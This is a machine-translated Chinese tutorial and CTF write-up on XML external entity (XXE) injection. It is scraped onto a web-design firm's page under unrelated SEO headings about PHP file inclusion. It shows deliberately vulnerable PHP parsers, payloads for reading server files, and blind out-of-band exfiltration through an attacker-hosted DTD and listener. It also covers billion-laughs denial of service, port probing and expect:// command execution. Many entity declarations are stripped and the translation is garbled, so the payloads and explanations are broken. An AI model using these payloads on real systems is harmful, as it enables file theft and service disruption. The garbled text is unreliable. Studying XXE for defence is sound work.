我们已经准备好了,你呢?

2026我们与您携手共赢,为您的企业形象保驾护航!

php嵌套文件引用文件不存在_php引用另一个文件内容_头文件嵌套引用

如果您在此处插入图片描述,请举一个示例

xml version = "1.0" encoding = "utf-8"?>

    
]>
&file;

同时,由于有两种类型的实体,这是一个了解参数实体示例的另一个示例

xml version="1.0"?>

  
  %file;
]>

现在我对这些知识有一定的了解,我可以看一下xxe

xxe什么是xxe

XXE漏洞的全名是XML,这是指XML外部实体注入的漏洞。

脆弱性的原因

当应用程序解析XML输入并且不禁止外部实体的加载时,就会发生XXE漏洞,从而导致恶意外部文件加载。

脆弱性危害

导致文件读取命令执行端口扫描以攻击网站和其他危害

脆弱性的原因

XXE漏洞触发的点通常是可以上传XML文件的位置,并且上传的XML文件未过滤,从而导致恶意XML文件上传。

XXE使用姿势读取任何用echo的文件

测试代码如下

php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>

该代码解释如下

file_get_contents('php://input'):获取客户端输入的内容
new DOMDocument():初始化XML解析器
loadXML($xmlfile):加载客户端输入的XML内容
simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE
$xxe=$xml->xxe:获取SimpleXMLElement对象中的节点XXE
echo $str:输出XXE内容。

发布上传内容

xml version="1.0" encoding="utf-8"?>  //XML声明

 //定义一般实体quan9i
]> 

&quan9i; 

在此处插入图像描述,以尝试读取其他文件

xml version="1.0" encoding="utf-8"?>  

 
]> 

&quan9i; 

在没有回声的情况下插入图像描述

源代码如下

php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>

结构如下



%remote;%payload;%send;
]>

攻击计算机中的eval.xml的内容是


">

然后,想法是先称其为首先,实际上是在攻击计算机上包含文件,然后调用参数实体。此时,包括参数实体,然后将读取文件。然后,发送的内容是文件内容。当我们致电发送时,我们将以简单的方式获取文件内容

1、调用remote-->包含eval.xml
2、调用payload-->包含file参数实体-->读取文件内容(此时send中就是文件内容了)
3、调用send(将文件内容取出)

在此处插入图片描述以解码

头文件嵌套引用_php引用另一个文件内容_php嵌套文件引用文件不存在

在此处插入图片以描述以下内容:在攻击机上写读取文件,我们也可以将其写入这样的本地结构




%remote;%payload;%send;
]>

eval.xml的内容在攻击飞机上

">

在此处插入图像描述以获取攻击

通过XML外部实体注入,攻击者可以发送任意的HTTP请求,因为解析器解析了文档中的所有实体,因此,如果实体声明按一层嵌套嵌套,则可以在某个数字中导致服务器。常见的XML恶意代码如下

xml version="1.0"?>



  

  

  

  

  

  

  

  

  

]>

&lol9;

调用LOL9实体参数时,将调用10个LOL8实体参数,每个LOL8实体参数包含10个LOL7参数。目前,已经调用了10^2个参数实体,它将更加向下。解析此文件小于1K之后,它将消耗大量内存,并最终占据3G内存。这表明这种脆弱性非常危险。通常,我们可以以这种方式构建它来进行DOS攻击。






]>
&a2;

检测

当我们获得 IP地址时,如果有ECHO,我们可以根据访问时间和浏览器回声的回声来判断幸存的端口。

在此处插入图像,以打开描述非残酷端口的端口回声位

在此处插入图像描述,我们还可以使用BP查看端口是否还活着。示例如下

xml version="1.0"?>


]>
&file;1

然后使用它爆炸并确定端口是否基于回声

在此处插入图片以描述此不活着的特定操作,请参见下面的实际战斗。命令执行

PHP扩展可以直接执行系统命令,但不幸的是,默认情况下不会安装此扩展名。参考

]>

&cmd;

回声

uid=501(Apple) gid=20(staff) 
groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),
80(admin),81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),
399(com.apple.access_ssh)

实用的射击场XXE-LAB

地址

有回声

射击范围带有回声,源代码如下

php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);

    $username = $creds->username;
    $password = $creds->password;

    if($username == $USERNAME && $password == $PASSWORD){
        $result = sprintf("%d%s",1,$username);
    }else{
        $result = sprintf("%d%s",0,$username);
    }   
}catch(Exception $e){
    $result = sprintf("%d%s",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
//echo $result;
?>

该方法与以前相同。目前,我们找到回声点,然后使用要读取的文件作为实体参数的内容,然后调用实体参数。目前,可以通过获得以下文件结构来获得输出结果

xml version="1.0" encoding="utf-8"?>  

  
]> 

&quan9i; 
1

在此处插入图片描述,然后重试

在没有回声的情况下插入图像描述

如果评论了射击范围输出信息,则没有回声。

php嵌套文件引用文件不存在_php引用另一个文件内容_头文件嵌套引用

在此处插入图片描述并随意输入,然后抓住数据包

php嵌套文件引用文件不存在_php引用另一个文件内容_头文件嵌套引用

在此处插入图片描述

在此处插入图片描述以进行测试

php嵌套文件引用文件不存在_php引用另一个文件内容_头文件嵌套引用

此时插入图像描述目前没有回声,这与盲人XXE的情况相对应。目前,可以使用外卖和伪协议来获取文件内容。具体方法如下。

xml version="1.0"?>


//参数实体声明中使用到了php的base64编码,这样是为了尽量避免由于文件内容的特殊性,产生xml解析器错误。

%dtd;
%send;
]>

eval.xml在攻击机中的内容192.168.134.128

">
//%要进行实体编码%
 %payload;

攻击方法1。%DTD的简要说明:包含eval.xml->调用实体参数 - >呼叫文件实体参数 - >此时查看指定的文件,发送实体参数中的内容为文件内容2。%send。调用发送实体参数,此时将取出文件内容。

在此处插入图像描述以解码内容

在此处插入图片描述以获取文件内容373

源代码

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);   

并不难找到该$的输出是结果,因此在这里我们只是将参考元素放入其中,结构如下



]>

&xxe;

在此处插入图像描述Web 374

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

我发现这里没有重印。我需要使用从服务器采集的方法获取文件内容。特定攻击方法如下




%aaa;
]>
1

服务器文件内容

 ">
%dtd;
%xxe;

在此处插入图像说明文件以解码标志。该原理也很简单,类似于以前

1、调用aaa参数实体-->包含dtd文件-->xml.dtd文件中包含了file参数实体-->file参数实体被调用,成功读取文件-->xml.dtd文件调用dtd参数实体,此时就包含了后面那些内容-->xml.dtd文件调用xxe参数实体,xxe参数实体中含有file参数实体,也就是文件内容,此时就会将内容给带出来
2、监听7777端口,获取这个内容,就相当于我们访问了文件,此时就可以达到我们外带的目的了

Web 375

php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

添加了过滤,过滤内容

二维码
扫一扫在手机端查看

本文链接:https://by928.com/8895.html     转载请注明出处和本文链接!请遵守 《网站协议》
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。

项目经理在线

我们已经准备好了,你呢?

2020我们与您携手共赢,为您的企业形象保驾护航!

在线客服
联系方式

热线电话

13761152229

上班时间

周一到周五

公司电话

二维码
微信
线